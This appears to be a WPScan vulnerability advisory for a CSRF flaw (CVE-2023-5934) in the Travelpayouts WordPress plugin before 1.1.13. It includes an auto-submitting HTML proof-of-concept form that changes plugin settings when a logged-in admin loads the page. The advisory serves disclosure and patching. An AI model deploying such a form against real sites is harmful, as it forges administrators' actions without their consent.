Travelpayouts < 1.1.13 – Settings Update via CSRF | CVE 2023-5934 | Plugin Vulnerabilities

Description

The plugin does not have CSRF check in place when importing settings from the v1, which could allow attackers to make a logged in admin update some settings via a CSRF attack

Proof of Concept

Make a logged in admin open a page containing the HTML code below, this will make them update the plugin's settings (Distance units to Km and disable Redirect)

<body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
        <input type="text" name="action" value="travelpayouts_import_file">
        <input type="text" name="settings[distance]" value="1">
        <input type="text" name="settings[redirect]" value="0">
        <input type="submit" value="submit">
    </form>
</body>

Affects Plugins

Fixed in 1.1.13

References

CVE

Classification

Type

CSRF

OWASP top 10

A2: Broken Authentication and Session Management

CWE

CVSS

Miscellaneous

Original Researcher

Erwan LR (WPScan)

Submitter

Erwan LR (WPScan)

Verified

Yes

WPVDB ID

2a45cdba-df41-457e-bff9-2d6d89776dd0

Timeline

Publicly Published

2024-01-26 (about 1 year ago)

Added

2024-01-26 (about 1 year ago)

Last Updated

2024-01-26 (about 1 year ago)

Other

Published

Title

Published

2023-07-27

Title

Multiple Plugins from Inisev - Plugin Installation via CSRF

Published

2024-06-12

Title

WPQA < 6.1.1 - Arbitrary Category and Tag Follow/Unfollow via CSRF

Published

2025-05-19

Title

User Profile Meta Manager <= 1.02 - Cross-Site Request Forgery to Privilege Escalation

Published

2022-08-16

Title

Affiliates Manager < 2.9.14 - Arbitrary Affiliates & Creatives Deletion via CSRF

Published

2023-05-29

Title

WOLF < 1.0.7.1 - Profile Creation via CSRF